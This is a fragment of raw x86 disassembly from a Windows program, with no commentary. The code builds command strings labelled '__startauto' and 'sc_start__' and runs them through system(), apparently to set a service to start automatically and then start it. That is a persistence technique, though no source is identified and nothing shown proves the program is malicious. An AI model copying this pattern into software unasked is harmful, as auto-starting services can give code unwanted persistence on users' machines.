lea esi, [ebp - 0xb0]
lea eax, [ecx + 0xb]
cmovae esi, dword [ebp - 0xb0]
add esi, ecx
mov dword [ebp - 0xa0], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xb], 0
lea eax, [ebp - 0xb0]
jmp 0x40fcc7
mov byte [ebp - 0x64], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x64]
push 0xb
call fcn.00405350
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x2f
lea edx, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x6c]
cmovae edx, edi
mov esi, dword [ebp - 0x70]
sub eax, esi
mov ecx, dword [ebp - 0x34]
push ecx
push edx
cmp ecx, eax
ja 0x40fd48
cmp dword [ebp - 0x6c], 0x10
lea eax, [ecx + esi]
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
add esi, eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov byte [eax + esi], 0
lea eax, [ebp - 0x80]
jmp 0x40fd5b
mov byte [ebp - 0x64], 0
push dword [ebp - 0x64]
push ecx
lea ecx, [ebp - 0x80]
call fcn.00405350
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x30
mov edx, dword [ebp - 0x84]
mov eax, edx
mov ecx, dword [ebp - 0x88]
sub eax, ecx
push 0xc
push str.__startauto
cmp eax, 0xc
jb 0x40fdf1
cmp edx, 0x10
lea esi, [ebp - 0x98]
lea eax, [ecx + 0xc]
cmovae esi, dword [ebp - 0x98]
add esi, ecx
mov dword [ebp - 0x88], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xc], 0
lea eax, [ebp - 0x98]
jmp 0x40fe05
mov byte [ebp - 0x64], 0
lea ecx, [ebp - 0x98]
push dword [ebp - 0x64]
push 0xc
call fcn.00405350
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xc8]
cmp dword [ebp - 0xb4], 0x10
cmovae eax, dword [ebp - 0xc8]
push eax
call esi
mov ecx, dword [ebp - 0xb4]
add esp, 4
cmp ecx, 0x10
jb 0x40fea5
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fe9b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff8f
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
cmp ecx, 0x10
jb 0x40fefe
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fef4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff8f
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
cmp ecx, 0x10
jb 0x40ff4d
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ff43
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ff8f
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x40ff9f
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ff95
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40ff95
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov ecx, dword [ebp - 0x1c]
mov eax, closesocket
sub eax, ecx
cmp eax, 0xa
jb 0x410215
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push ecx
cmovae eax, dword [ebp - 0x2c]
push eax
push 0xa
push str.sc_start__
push ecx
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb0]
call fcn.0040a4d0
mov byte [ebp - 4], 0x31
mov edx, dword [ebp - 0x9c]
mov eax, edx
mov ecx, dword [ebp - 0xa0]
sub eax, ecx
cmp eax, 1
jb 0x410015
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xb0]
cmovae eax, dword [ebp - 0xb0]
mov word [eax + ecx], 0x22
lea eax, [ebp - 0xb0]
jmp 0x410030
push 1
push 0x41e66c
mov byte [ebp - 0x64], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x64]
push 1
call fcn.00405350
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
cmovae eax, dword [ebp - 0x80]
push eax
call esi
mov ecx, dword [ebp - 0x6c]
add esp, 4
cmp ecx, 0x10
jb 0x4100a8
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41009e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4100ea
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x4100fa
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4100f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4100f0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov esi, dword [ebp - 0xcc]
lea eax, [ebp - 0x44]
cmp esi, eax
je 0x41011c
cmp dword [ebp - 0x30], 0x10
mov ecx, esi
push dword [ebp - 0x34]
cmovae eax, edi
push eax
call fcn.00411150
mov edi, dword [ebp - 0x44]
lea eax, [ebp - 0x2c]
lea ecx, [esi + 0x20]
cmp ecx, eax
je 0x410137
cmp dword [ebp - 0x18], 0x10
push dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push eax
call fcn.00411150
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
mov word [esi + 0x1c], ax
cmp ecx, 0x10
jb 0x41016e
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410164
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4101c3
push ecx
push edx
call fcn.0041aa32
add esp, 8
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x41019d
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x410193
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4101c3
push ecx
push edi
call fcn.0041aa32
add esp, 8
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x10
jb 0x4101d3
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4101c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4101c9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041aa32
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041a4dc
mov esp, ebp
pop ebp
ret 4
call fcn.00401400
call fcn.00401400
call fcn.00401400
call fcn.00401400
call fcn.00401400
call fcn.00401400
call fcn.00401400
call fcn.00401400
int3